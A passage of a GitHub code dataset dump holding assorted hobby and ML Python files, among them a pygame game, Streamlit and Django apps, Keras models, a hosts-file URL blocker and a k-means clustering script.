mouses[1]-30\n        screen.blit(bg, (0,0))\n        screen.blit(ball, rect.topleft)\n        screen.blit(can, can_rect.topleft)\n        pg.display.update()\n#######################################################################################\n    if throwing == True:\n        t = 0\n        while rect.centery<887:\n            t += 1        \n            clock.tick(40)\n            if stop == False:\n                rect.centerx = mouses[0]\n                rect.centery = mouses[1]+0.5*t**2\n                screen.blit(bg, (0,0))\n                screen.blit(ball, rect.topleft)\n                screen.blit(can, can_rect.topleft)\n                pg.display.update() \n                if rect.centery>887 and can_rect.centerx+32 > rect.centerx > can_rect.centerx-32:\n                    stop = True\n                    throwing = False\n                    rect.centerx = mouses[0]\n                    rect.centery = 888\n                    score += 1\n                    SCORE = \"Score: \" + str(score) + \" \"\n                    text = font.render(\"Press Left Click Button to start game!\", True, (255,255,255), (255,255,255))\n                    bg.blit(text, (50,50))\n                    screen.blit(bg, (0,0))\n                    text = font.render(SCORE, True, (0,0,0), (255,255,255))\n                    TIME = font.render(\"Time: \" + str(timeUse/1000)+\" sec  \", True, (0,0,0), (255,255,255))\n                    bg.blit(TIME, (50,150))\n                    bg.blit(text, (50,50))\n                    screen.blit(bg, (0,0))\n                    screen.blit(ball, rect.topleft) \n                    screen.blit(can, can_rect.topleft)\n                    pg.display.update()\n                    can_rect.center = (random.randint(100,850),856)\n                    \n                    timerON = False\n########################################################################################\n\n\n\n\npg.quit()        \n\n\n","repo_name":"kevinzoids/asiagodtone-s-game","sub_path":"asiagodtone .py","file_name":"asiagodtone .py","file_ext":"py","file_size_in_byte":4652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"40688507742","text":"\"\"\"\nThe Application Interface for the program\n\nThis interface introduces how to use the\n\"\"\"\n\nfrom utils import *\n\n# Adds the application metadata\n# and prepares application model\napp_meta()\nmodel = ModelHandler()\n\n# Initializing Side-Bar\nwith st.sidebar:\n    st.write(\"\")\n    start_project = st.checkbox(\n        label=\"Start Application\",\n        help=\"Starts the Hand Written Digit Recognition Application\"\n    )\n    divider()\n\n# Actions on project\nif start_project:\n    with st.sidebar:\n        image = st.file_uploader(\"Upload an image of a single digit\")\n\n    st.write(observations_on_data1)\n    divider()\n\n    make_prediction = st.button(\n        \"Make Prediction on Image\",\n        help=\"Ensure image contains a single digit\"\n    )\n    if make_prediction:\n        num, word = model.predict(image)\n\n        load_image(f\"images/{image.name}\")\n\n        st.write(f\"Model predicted digit as {num} - {word}\")\n\nelse:\n    # Introducing the application\n    st.write(index_introduction1)\n    load_image('images/model_summary.png')\n    st.write(index_introduction2)\n    load_image('images/loss_accuracy.png')\n\n    st.markdown(\"###### Starting the Application\")\n    st.write(\"To start making use of this application, you should check the box on starting the application\")\n    load_image('images/start_application.png')\n\n    st.markdown(\"###### Image Upload\")\n    st.write(\"\")\n    load_image('images/side_panel.png')\n\n    st.markdown(\"###### Checking the predictions\")\n    st.write(\"Finally making predictions is now possible with the trained model with high accuracy\")\n    load_image('images/prediction_menu.png')\n","repo_name":"ganiyuolalekan/streamlit_data_applications","sub_path":"hand-written-digit-recognition/scripts/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"12715824570","text":"from pathlib import Path\n\nimport tensorflow as tf\nfrom fashiondatasets.utils.logger.defaultLogger import defaultLogger\nfrom tensorflow.keras import Model\nfrom tensorflow.keras import metrics\n\nfrom fashionnets.models.embedding.resnet50 import EMBEDDING_DIM\n\n\n# noinspection PyAbstractClass,PyMethodOverriding,PyAbstractClass\nclass SiameseModel(Model):\n    # https://keras.io/examples/vision/siamese_network/\n    def __init__(self, siamese_network, back_bone):\n        super(SiameseModel, self).__init__()\n        self.siamese_network = siamese_network\n        self.loss_tracker = metrics.Mean(name=\"loss\")\n        self.logger = defaultLogger(name=\"Siamese_Model\")\n        self.back_bone__ = back_bone\n\n    def call(self, inputs):\n        return self.siamese_network(inputs)\n\n    def train_step(self, data):\n        with tf.GradientTape() as tape:\n            loss = self.siamese_network(data)\n\n        gradients = tape.gradient(loss, self.siamese_network.trainable_weights)\n\n        self.optimizer.apply_gradients(\n            zip(gradients, self.siamese_network.trainable_weights)\n        )\n\n        self.loss_tracker.update_state(loss)\n        return {\"loss\": self.loss_tracker.result()}\n\n    def test_step(self, data):\n        loss = self.siamese_network(data)\n\n        self.loss_tracker.update_state(loss)\n\n        return {\"loss\": self.loss_tracker.result()}\n\n    def fake_predict(self):\n        \"\"\"\n        Force Init Layers (-> Model cant be Saved by Training without Init. Layers)\n        \"\"\"\n\n        input_shape = self.siamese_network.input_shape_\n        is_triplet = self.siamese_network.is_triplet\n        is_ctl = self.siamese_network.is_ctl\n\n        if is_ctl:\n            random_data = (1,) + input_shape + (3,)\n            random_a = tf.random.uniform(random_data)\n\n            embedding_shape = (1, EMBEDDING_DIM)\n            # random_centroid = tf.random.uniform(embedding_shape)\n\n            random_centroid = [tf.random.uniform(embedding_shape)] * (2 if is_triplet else 3)\n            # random_centroid = [random_centroid] * (2 if is_triplet else 3)\n            data = [random_a, *random_centroid]\n        else:\n            image_shape = (1,) + input_shape + (3,)\n            random_apn = tf.random.uniform(image_shape)\n            random_apn = [random_apn] * (3 if is_triplet else 4)\n            data = random_apn\n        return self.predict(data)\n\n    def validate_embedding(self, small_batch):\n        \"\"\"\n        Check if Embeddings are Constant -> bad\n        :return:\n        \"\"\"\n\n        def is_embedding_constant():\n            #            random_data = (1,) + input_shape + (3,)\n            #            random_ds = [tf.random.uniform(random_data)] * (3 if is_triplet else 4)\n\n            test_embeddings = self.siamese_network.embed(small_batch)\n\n            is_constant = lambda a, b: tf.math.reduce_sum(tf.math.square(a - b)) == 0\n\n            for i in range(len(test_embeddings)):\n                j = (i + 1) % len(test_embeddings)\n\n                assert i != j\n                x, y = test_embeddings[i], test_embeddings[j]\n                x_nans = tf.reduce_any(tf.math.is_nan(x))\n                y_nans = tf.reduce_any(tf.math.is_nan(y))\n\n                if x_nans or y_nans:\n                    raise Exception(\"Embedding Space contains NaN's!.\")\n\n                _const = is_constant(x, y)\n                if _const is not False:\n                    return False\n            return True\n\n        if is_embedding_constant():\n            raise Exception(\"The Embedding-Model seems to produce constant results.\")\n\n    @property\n    def metrics(self):\n        return [self.loss_tracker]\n\n    def save_backbone(self, model_cp_path, epoch):\n        backbone_cp_path = Path(model_cp_path, f\"backbone-{epoch:04d}.ckpt\")\n        backbone_cp_path.parent.mkdir(parents=True, exist_ok=True)\n\n        self.back_bone__.save(backbone_cp_path)\n\n    def load_embedding_weights(self, cp_path):\n        if not Path(cp_path).exists():\n            raise Exception(f\"Checkpoint Path does not Exist! {cp_path}\")\n        self.back_bone__.load_weights(cp_path)\n\n    def extract_features(self, images):\n        return self.siamese_network.extract_features(images)\n","repo_name":"NiklasHoltmeyer/FashionNets","sub_path":"fashionnets/models/SiameseModel.py","file_name":"SiameseModel.py","file_ext":"py","file_size_in_byte":4176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"39059946830","text":"__author__ = 'Ravi Teja Komma'\n\n\nclass Solution:\n    def twoSum(self, nums: List[int], target: int) -> List[int]:\n        hash_map = dict()\n        for i in range(len(nums)):\n            diff = target - nums[i]\n            if diff in hash_map:\n                return [hash_map[diff], i]\n            hash_map[nums[i]] = i","repo_name":"RaviTejaKomma/leetcode","sub_path":"004_Two_Sum.py","file_name":"004_Two_Sum.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"38"}
{"seq_id":"25973005309","text":"'''\n\nif 4번째가 1이면:\n앞의 3개 번호들 -> 정상처리\n\n나머지 케이스들 중에 정상인 애들이 있으면 걔들은 뻄\n\n뺐는데 하나만 남은 케이스들 -> 하나 남은 애는 고장임\n두개 남은 애들은 보류\n\n그 하나를 또 다른 케이스들에서 빼줌\n\n두개 남았던 애들 중에 이제 고장난애 뺐는데 고장인 애들은 알수없음으로 처리\n\n'''\n\n\na, b, c = map(int, input().split())\nN = int(input())\n\nA = list(range(1,a+1))\nB = list(range(a+1,a+b+1))\nC = list(range(a+b+1,a+b+c+1))\n\nparts = []\nfor n in range(N):\n    i, j, k, r = map(int,input().split())\n    parts.append([i,j,k,r])\n# [[2, 4, 5, 0], [2, 3, 6, 0], [1, 4, 5, 0], [2, 3, 5, 1]]\n\noperate = []\nnotoperate = []\ndontknow = []\nfor m in range(len(parts)):\n    if parts[m][3] == 1:\n        operate.append(parts[m][0])\n        operate.append(parts[m][1])\n        operate.append(parts[m][2])\n#operate = [2,3,5]\n\nfor m in range(len(parts)):\n    for n in range(3):\n        if parts[m][3] == 0:\n            if parts[m][n] in operate:\n                parts[m][n] = -1\n# [[-1, 4, -1, 0], [-1, -1, 6, 0], [1, 4, -1, 0], [2, 3, 5, 1]]\n\nfor m in range(len(parts)):\n    while -1 in parts[m]:\n        parts[m].remove(-1)\n    # [[ 4, 0], [ 6, 0], [1, 0] [1,1,1,0]]\n    if len(parts[m]) == 2: #알수없는 부품이 포함이 안된 확실히 고장난 애들만 있는 경우\n        notoperate.append(parts[m][0])\n    # notoperate = [4,6]\nfor m in range(len(parts)):\n    if parts[m][-1] == 0:\n        if len(parts[m]) >= 3:\n            for n in notoperate:\n                if n in parts[m]:\n                    parts[m].remove(n)\n            dontknow.append(parts[m][0])\n #dontknow = [1]\n\nfor i in A:\n    if i in operate:\n        print(1)\n    elif i in notoperate:\n        print(0)\n    else:\n        print(2)\n\nfor i in B:\n    if i in operate:\n        print(1)\n    elif i in notoperate:\n        print(0)\n    else:\n        print(2)\n\nfor i in C:\n    if i in operate:\n        print(1)\n    elif i in notoperate:\n        print(0)\n    else:\n        print(2)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"hjyoon/yunhoyunho","sub_path":"이정민/0925/5600.py","file_name":"5600.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"1161093663","text":"import tkinter as tk\r\n\r\n\r\ndef hostblocker(url):\r\n    try:\r\n        fh = open(\"C:/Windows/System32/drivers/etc/hosts\", \"a\")\r\n\r\n    except:\r\n        output_text.insert(\"end\",\"Run as an Administrator\\n\")\r\n        return\r\n\r\n    fh.write(f\"\\n0.0.0.0  {url}\")\r\n    fh.close()\r\n\r\n    output_text.insert(\"end\",\"Done.!\\n\")\r\n\r\n\r\ndef button_click():\r\n    user_input = entry.get()\r\n    hostblocker(user_input)\r\n\r\napp = tk.Tk()\r\napp.title(\"Host file blocker\")\r\n\r\nlabel = tk.Label(app, text=\"Enter url you need to block\")\r\nbutton = tk.Button(app, text=\"Enter\", command=button_click)\r\nentry = tk.Entry(app, width=50)\r\noutput_text = tk.Text(app, height=5, width=30)\r\n\r\nlabel.pack()\r\nentry.pack()\r\nbutton.pack()\r\noutput_text.pack()\r\n\r\napp.mainloop()\r\n\r\n\r\n\r\n\r\n","repo_name":"kumudugg/Host-Blocker","sub_path":"hostblocker.py","file_name":"hostblocker.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"71713211632","text":"#!/usr/bin/python3.4\nwith open('basen') as soubor:\n    for radek in basen:\n        radek = radek.rstrip()\n        print(radek)\n#vysledek = open('basen')\n\n#obsah = vysledek.read()\n#print(obsah)\n\n#for i in vysledek:\n#    print(repr(i))\n\n#vysledek.close()\n","repo_name":"gedrex/PyLadies","sub_path":"07/hranisesoubory.py","file_name":"hranisesoubory.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"cs","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"14582143814","text":"import json\nimport glob\nimport hashlib\nfrom os.path import abspath, dirname, isdir\n\n\ndef get_progress_files(\n        progress: str,\n        selected: dict) -> None:\n    \"\"\"Fill the selected object with the latest records selection.\n\n    Parameters\n    ----------\n    args : dict\n        All arguments, including:\n            input_fps : tuple\n                Path(s) to WoS search result(s)\n    progress : str\n        Path to the file (no extension) that will contain the progress\n        for the currently parsed WoS searches\n    selected : dict\n        Selected records\n    \"\"\"\n    to_glob = '%s_2*.tsv' % progress\n    fps = sorted(glob.glob(to_glob))\n    if len(fps):\n        file_handle = open(fps[-1], \"r\")\n        selected.update(json.load(file_handle))\n        file_handle.close()\n\n\ndef get_progress_base(args: dict) -> str:\n    \"\"\"Get the folder and basename where the progress data will be kept updated.\n\n    Parameters\n    ----------\n    args : dict\n        All arguments, including:\n            input_fps : tuple\n                Path(s) to WoS search result(s)\n\n    Returns\n    -------\n    progress : str\n        Path to the file (no extension) that will contain the progress\n        for the currently parsed WoS searches\n    \"\"\"\n    input_fps = args['input_fps']\n    folder = '%s/.xpress' % dirname(abspath(input_fps[0]))\n    base = hashlib.sha224(''.join(input_fps).encode()).hexdigest()\n    progress = folder + '/' + base\n    return progress\n\n\ndef read_past_progress(args: dict) -> tuple:\n    \"\"\"Initialization checks whether the output file already exists which\n    means you already made selection and stopped.\n\n    Parameters\n    ----------\n    args : dict\n        All arguments, including:\n            input_fps : tuple\n                Path(s) to WoS search result(s)\n\n    Returns\n    -------\n    selected : dict\n        Selected records\n    progress : str\n        Path to the file (no extension) that will contain the progress\n        for the currently parsed WoS searches\n    \"\"\"\n    progress = get_progress_base(args)\n    selected = {}\n    if isdir(dirname(progress)):\n        get_progress_files(progress, selected)\n    return selected, progress\n","repo_name":"FranckLejzerowicz/Xpress_parse","sub_path":"Xpress_parse/progress.py","file_name":"progress.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"74662702831","text":"from sensor.entity.config_entity import DataValidationConfig\nfrom sensor.entity.artifact_entity import DataIngestionArtifact,DataValidationArtifact\nfrom sensor.constant import training_pipeline\nfrom sensor.exception import SensorException\nfrom sensor.logger  import logging\nfrom sensor.constant.training_pipeline import SCHEMA_FILE_PATH\nfrom sensor.utils.main_utils import read_yaml_file,write_yaml_file\nimport os,sys\nimport pandas as pd\nfrom scipy.stats import ks_2samp\n\n\nclass DataValidation:\n\n    def __init__(self,data_ingestion_artifact:DataIngestionArtifact,data_validataion_config:DataValidationConfig) -> None:\n        try:\n            self.data_ingestion_artifact=data_ingestion_artifact\n            self.data_validaton_config=data_validataion_config\n            self._schema=read_yaml_file(SCHEMA_FILE_PATH)\n            pass\n        except Exception as e:\n            raise SensorException(e,sys)\n\n    def validate_number_of_coloumns(self,dataframe:pd.DataFrame) -> bool:\n        try:\n            no_of_coloumns=len(self._schema['columns'])\n            logging.info(f\"Required number of coloumns {no_of_coloumns}\")\n            logging.info(f\"Dataframe has coloumns {len(dataframe.columns)}\")\n            if no_of_coloumns==len(dataframe.columns):\n                return True\n            return False\n        except Exception as e:\n            raise SensorException(e,sys)\n    def validate_numerical_columns(self,dataframe:pd.DataFrame) -> bool:\n        try:\n            numerical_columns=self._schema['numerical_columns']\n            data_columns=dataframe.columns\n\n            numerical_columns_present=True\n            missing_numerical_columns=[]\n\n            for numerical_column in numerical_columns:\n                if numerical_column not in data_columns:\n                    missing_numerical_columns.append(numerical_column)\n                    numerical_columns_present=False\n            \n            logging.info(f\"missing numerical columns {missing_numerical_columns}\")\n\n            return  numerical_columns_present\n        except Exception as e:\n            raise SensorException(e,sys)\n    @staticmethod\n    def read_data(filepath):\n        try:\n            return pd.read_csv(filepath)\n        except Exception as e:\n            raise SensorException(e,sys)\n    def detect_data_drift(self,base_data,current_data,threshold=0.05) ->bool:\n        try:\n            status = True\n            report={}\n            for column in base_data.columns:\n                d1=base_data[column]\n                d2=current_data[column]\n                is_same_dist=ks_2samp(d1,d2)\n\n                if threshold<=is_same_dist.pvalue:\n                    is_found=False\n                else:\n                    is_found=True\n                    status=False\n\n                report.update(\n\n                    {column:{\n                    \"p_value\":float(is_same_dist.pvalue),\n                    \"drift_status\":status\n                    }}\n                )\n\n            #create_directory\n            dir_path=os.path.dirname(self.data_validaton_config.drift_report_file_path)\n            os.makedirs(dir_path,exist_ok=True)\n            write_yaml_file(self.data_validaton_config.drift_report_file_path,report)\n\n            return status\n        except Exception as e:\n            raise SensorException(e,sys)\n\n    def initiate_data_validation(self) -> DataValidationArtifact:\n        try:\n            logging.info(\"Data Validation Fetching started\")\n            error_message=\"\"\n            train_file_path=self.data_ingestion_artifact.train_file_path\n            test_file_path=self.data_ingestion_artifact.test_file_path\n\n\n            #reading data from the path\n            train_data=DataValidation.read_data(train_file_path)\n            test_data=DataValidation.read_data(test_file_path)\n\n            #validate  no of coloumns\n            status=self.validate_number_of_coloumns(train_data)\n            if not status:\n                error_message=f\"{error_message}train data does not contain all the coloums\\n\"\n\n            status=self.validate_number_of_coloumns(test_data)\n            if not status:\n                error_message=f\"{error_message}test data does not contain all the coloumns\\n\"\n\n            #validate numerical coloumns\n\n            status=self.validate_numerical_columns(train_data)\n            if not status:\n                error_message=f\"{error_message}train data does not contain all the numerical coloums\\n\"\n\n            status=self.validate_numerical_columns(test_data)\n            if not status:\n                error_message=f\"{error_message}test data does not contain all the numerical coloumns\\n\"\n            \n            if len(error_message) >1:\n                raise Exception(error_message)\n            \n            #Data Drift Checking\n\n            status=self.detect_data_drift(base_data=train_data,current_data=test_data)\n\n            data_validation_artifact=DataValidationArtifact(\n                data_validation_status=status,\n                valid_train_file_path=self.data_ingestion_artifact.train_file_path,\n                valid_test_file_path=self.data_ingestion_artifact.test_file_path,\n                invalid_train_file_path=None,\n                invalid_test_file_path=None,\n                drift_report_file_path=self.data_validaton_config.drift_report_file_path,\n            )\n            logging.info(f\"Data validation artifact: {data_validation_artifact}\")\n            return data_validation_artifact\n        except Exception as e:\n            raise SensorException(e,sys)\n","repo_name":"devendra-rgb/Sensor_Fault_ML_End_End2","sub_path":"sensor/components/data_validation.py","file_name":"data_validation.py","file_ext":"py","file_size_in_byte":5546,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"15096458433","text":"import numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.applications.vgg16 import VGG16\nfrom tensorflow.keras import layers, models\n# from tensorflow.keras.applications.vgg16 import preprocess_input\n# from tensorflow.keras.applications.resnet50 import preprocess_input\n# from tensorflow.keras.applications.resnet_v2 import preprocess_input\n# from tensorflow.keras.applications.inception_resnet_v2 import preprocess_input\nfrom tensorflow.keras.applications.mobilenet_v2 import preprocess_input\nimport tensorflow.lite as lite\nimport pickle as pkl\nimport matplotlib.pyplot as plt\nimport main\n\nc = tf.compat.v1.ConfigProto()\nc.gpu_options.allow_growth = True\n# print(device_lib.list_local_devices())\n\n\n\ndef load(file):\n    with open(file, \"rb\") as f:\n        data = pkl.load(f)\n\n    x = data[0]\n    y = data[1]\n    return x, y\n\n\nif __name__ == \"__main__\":\n    x, y = load(\"./preProc3.pkl\")\n    xT, yT = load(\"./preProc1.pkl\")\n\n    new_input = tf.keras.Input(shape=(x.shape[1]))\n    model = tf.keras.Sequential(\n        [\n            new_input,\n            layers.Dense(50, activation=\"relu\", name=\"dense\", kernel_initializer=\"normal\"),\n            layers.Dense(50, activation=\"relu\", name=\"dense1\", kernel_initializer=\"normal\"),\n            layers.Dense(50, activation=\"relu\", name=\"dense2\", kernel_initializer=\"normal\"),\n            layers.Dense(50, activation=\"relu\", name=\"dense4\", kernel_initializer=\"normal\"),\n            layers.Dense(y.shape[1], activation=\"linear\", name=\"dense3\", kernel_initializer=\"normal\"),\n        ]\n    )\n\n    model.summary()\n    model.compile(optimizer=\"adam\",\n                  loss=\"msle\",\n                  metrics=[tf.keras.metrics.MeanSquaredLogarithmicError(), \"accuracy\", \"mae\"])\n\n    hist = model.fit(x, y, epochs=30, validation_data=(xT, yT))\n    model.save('./model')\n    plt.plot(hist.history[\"mae\"])\n    plt.show()\n\n\n\n\n# new_input = tf.keras.Input(shape=(224, 224, 3))\n# model = tf.keras.applications.MobileNetV2(\n#     include_top=False,\n#     weights=\"imagenet\",\n#     input_tensor=new_input,\n#     pooling=\"avg\",\n# )\n#\n# model.summary()\n# model = tf.keras.Sequential(\n#     [\n#         model,\n#         layers.Dense(512, activation='relu'),\n#         layers.Dropout(0.6),\n#         layers.Dense(512, activation='relu'),\n#         layers.Dropout(0.5),\n#         layers.Dense(36, activation='softmax')\n#     ]\n# )\n# model.layers[0].trainable = False\n#\n# model.summary()\n# model.compile(optimizer=\"adam\",\n#               loss=\"sparse_categorical_crossentropy\",\n#               metrics=[tf.keras.metrics.SparseCategoricalAccuracy()])\n#\n# datagen = tf.keras.preprocessing.image.ImageDataGenerator(preprocessing_function=preprocess_input,\n#                                                           horizontal_flip=True)\n# train_data = datagen.flow_from_directory('Data_full/', class_mode='binary', target_size=(224, 224))\n# verify_data = datagen.flow_from_directory('Verify_full/', class_mode='binary', target_size=(224, 224))\n# print(train_data.class_indices)\n# pkl.dump(train_data.class_indices, open(\"./classes_lite_1\", \"wb\"))\n# model.fit(train_data, epochs=20, batch_size=100, validation_data=verify_data)\n# model.save('./trainedModels/lite_v2')","repo_name":"JamesMax314/phi","sub_path":"Python/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3194,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"21116748308","text":"import base64\nimport io\nimport json\nimport uuid\nfrom io import BytesIO\n\nimport boto3\nimport cv2\nimport numpy as np\nfrom django.conf import settings\nfrom django.core.files.base import ContentFile\nfrom django.db import transaction\nfrom django.http import JsonResponse, HttpResponse\nfrom django.shortcuts import render, get_object_or_404\nfrom django.utils import timezone\nfrom rest_framework.decorators import api_view, parser_classes\nfrom rest_framework import serializers, status\nfrom PIL import Image as img\nfrom rest_framework.parsers import MultiPartParser\nfrom rest_framework.response import Response\nfrom apps import AttendanceConfig\n\nfrom attendance.models import Member, Image\nfrom attendance.serializer import MemberSerializer\n\n\nclass S3ImgUploader:\n    def __init__(self, file):\n        self.file = file\n        self.originalName = self.file.name\n        self.ext = self.file.name.split(\".\")[-1]\n        self.url = 'cvlab_clock/' + str(uuid.uuid4()) + '.' + self.ext\n\n    def upload(self):\n        s3_client = boto3.client(\n            's3',\n            aws_access_key_id=settings.AWS_ACCESS_KEY_ID,\n            aws_secret_access_key=settings.AWS_SECRET_ACCESS_KEY\n        )\n        s3_client.upload_fileobj(\n            self.file,\n            settings.AWS_STORAGE_BUCKET_NAME,\n            self.url,\n            ExtraArgs={\n                \"ContentType\": self.file.content_type\n            }\n        )\n        return self.originalName, self.url\n\n\n# @transaction.atomic()\n# @api_view(['POST'])\n# @parser_classes([MultiPartParser])\n# def sign_up(request):\n#     data = request.data\n#     file = data['file']\n#     name = data['name']\n#     pin = data['pin']\n#\n#     s3imgUploader = S3ImgUploader(file)\n#     originalName, storeFileName = s3imgUploader.upload()\n#     image = Image(originalFileName=originalName, storeFileName=storeFileName)\n#     image.save()\n#\n#     member = Member(name=name, pin=pin, image=image, regist_time=timezone.now())\n#     member.save()\n#\n#     return Response({'message': 'File uploaded successfully.'})\n\n\n@transaction.atomic()\n@api_view(['POST'])\n@parser_classes([MultiPartParser])\ndef sign_up(request):\n    data = request.data\n    file = data['file']\n    name = data['name']\n    pin = data['pin']\n\n    try:\n        face_encoding = AttendanceConfig.get_face_recognition().face_encoding(file)\n        serialized_data = np.dumps(face_encoding[0])\n        member = Member(name=name, pin=pin, face_encoding=serialized_data, regist_time=timezone.now())\n        member.save()\n        return Response({'message': 'User regist successfully.'})\n    except:\n        return Response({'error': 'Face not found.'}, status=status.HTTP_400_BAD_REQUEST)\n\n\ndef save_image_from_bytes(bytes_data):\n    image = Image.open(io.BytesIO(bytes_data))\n    image.save('image.jpg')\n\n\n@api_view(['POST'])\ndef face_recognition(request):\n    data = request.data\n    file = data['file']\n\n\n@api_view(['GET'])\ndef member_detail(request, member_id):\n    member = get_object_or_404(Member, id=member_id)\n    data = {'name': member.name, 'pin': member.pin, 'regist_time': member.regist_time}\n    return JsonResponse(data)\n\n\n@api_view(['GET'])\ndef member_all(request):\n    queryset = Member.objects.all()\n    members = list(queryset)\n    data = [{'name': member.name, 'pin': \"****\", 'regist_time': member.regist_time,\n             'image_url': settings.IMAGE_BASE_URL + member.image.storeFileName} for member in members]\n    print(len(data))\n    return JsonResponse(data, safe=False)\n\n\n@api_view(['GET'])\ndef makePredictData(request):\n    queryset = Member.objects.all()\n    members = list(queryset)\n    data = [{'member_id': member.id, 'image_url': settings.IMAGE_BASE_URL + member.image.storeFileName} for member in\n            members]\n    return JsonResponse(data, safe=False)\n","repo_name":"dustnehowl/cvlab_attendance","sub_path":"attendance/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"}
{"seq_id":"25754631110","text":"# -*- coding:utf-8 -*-\n\nSTATUS = 'status'\n\nADDED = 'added'\nNESTED = 'nested'\nREMOVED = 'removed'\nUNCHANGED = 'unchanged'\nUPDATED = 'updated'\n\nVALUE = 'value'\nUPDATED_VALUE = 'updated_value'\n\n# * Fixed WPS441, WPS440 to allow variable names to be reused in multiple loops\n# * https://github.com/wemake-services/wemake-python-styleguide/pull/1768#pullrequestreview-550906165 # noqa:E501\n\n\ndef compose_diff(first_data_set, second_data_set):\n    diff = {}\n    keys_matched = first_data_set.keys() & second_data_set.keys()\n    for key in keys_matched:\n        diff[key] = compare_keys_matched(\n            first_data_set[key], second_data_set[key],\n        )\n    keys_removed = first_data_set.keys() - second_data_set.keys()\n    for key in keys_removed:  # noqa:WPS440\n        diff[key] = {STATUS: REMOVED, VALUE: first_data_set[key]}  # noqa:WPS441, E501\n    keys_added = second_data_set.keys() - first_data_set.keys()\n    for key in keys_added:  # noqa:WPS440\n        diff[key] = {STATUS: ADDED, VALUE: second_data_set[key]}  # noqa:WPS441, E501\n    return diff\n\n\ndef compare_keys_matched(first_value, second_value):\n    if isinstance(first_value, dict) and isinstance(second_value, dict):\n        return {STATUS: NESTED, VALUE: compose_diff(first_value, second_value)}\n    if first_value == second_value:\n        return {STATUS: UNCHANGED, VALUE: first_value}\n    return {STATUS: UPDATED, VALUE: first_value, UPDATED_VALUE: second_value}\n","repo_name":"AABur/python-project-lvl2","sub_path":"gendiff/comparator.py","file_name":"comparator.py","file_ext":"py","file_size_in_byte":1436,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"}
{"seq_id":"72093682349","text":"#generic\nimport pandas as pd\nimport numpy as np\nimport os\n# Suppress warnings\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n# plotting related\nimport matplotlib.pyplot as plt\nimport seaborn as sns# for plot styling\nsns.set()  \n# kmeans related\n# from sklearn.datasets.samples_generator import make_blobs\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.metrics import silhouette_score\nfrom sklearn.cluster import KMeans\n\ndef read_file(filename, columns, s=\",\"):\n    file = os.getcwd() + \"\\\\\" + filename\n    df = pd.read_csv(file, sep=s, usecols=columns)\n    return df\n\nfilename=\"Sample with Three Clusters.csv\"\n#filename=\"Sample With Outliers.csv\"\nfilename=\"Sample with Scale Issues.csv\"\ndf = read_file(filename, [\"X\", \"Y\"], s=\";\")\n# Step 1 - Check for scaling problems\n# On this dataset we have no scaling problems.\nprint(\"Describing X and Y values\")\nprint( df.describe())\n# print( df.Y.describe())\ninput(\"Press Enter to continue...\")\n\n# Step 2 - Plot the values for some more insight since we have only 2 dimensions.\n# This would be impossible for more dimensions\ndef show_scatter(df):\n    plt.scatter(df.X,df.Y)\n    plt.title(\"Sample data has obvious clusters\")\n    plt.xlabel(\"X Values\")\n    plt.ylabel(\"Y Values\")\n    plt.show()\nshow_scatter(df)\n\n# Now let's do this with K-means\n# Step 3 - Preprocess data with standard scaler\n# https://scikit-learn.org/stable/modules/generated/sklearn.preprocessing.StandardScaler.html\n# If we had scaling problems we would scale the dataset\n# scaler = StandardScaler()\n# df_ndarray = scaler.fit_transform(df)\ndf_ndarray = df # comment this line if you choose to scale\n\n# Step 4a - Estimate the number of clusters \"visually\"\n# Variant: Elbow Method\n# Within Cluster Sum of Squares (WCSS) method shows us an \"elbow\"\n# where the change in WCSS begins to level off, so that\n# increasing number of clusters does not matter\n# The Squared Error for each point is the square of the distance of the point\n# from its representation i.e. its predicted cluster center.\n# The WSS score is the sum of these Squared Errors for all the points.\n# Any distance metric like the Euclidean Distance or the Manhattan Distance can be used.\ndef show_wccs(df):\n    wcss = []\n    for i in range(1, 11):\n        kmeans = KMeans(n_clusters=i, init='k-means++', max_iter=300, n_init=10, random_state=0)\n        kmeans.fit(df)\n        wcss.append(kmeans.inertia_)\n    plt.plot(range(1, 11), wcss)\n    plt.title('Elbow Method')\n    plt.xlabel('Number of clusters')\n    plt.ylabel('WCSS')\n    plt.show()\n\nshow_wccs(df_ndarray)\n# For the sample dataset,\n# WCCS should show that N=3 clusters will be better. N=2 might also be tried\nN=3\n\n# Step 4b - Estimate the number of clusters \"visually\"\n# Variant: Silhouette Method\n# The silhouette value measures how similar a point is to its own cluster\n# (cohesion) compared to other clusters (separation)\n# The range of the Silhouette value is between +1 and -1.\n# A high value is desirable and indicates that the point is placed in the correct cluster.\n# If many points have a negative Silhouette value,\n# it may indicate that we have created too many or too few clusters.\ndef show_sil(df):\n    sil = []\n    # dissimilarity would not be defined for a single cluster.\n    # Thus, minimum number of clusters should be 2\n    for k in range(2, 11):\n      kmeans = KMeans(n_clusters=k, init='k-means++', max_iter=300, n_init=10, random_state=0)\n      kmeans.fit(df)\n      labels = 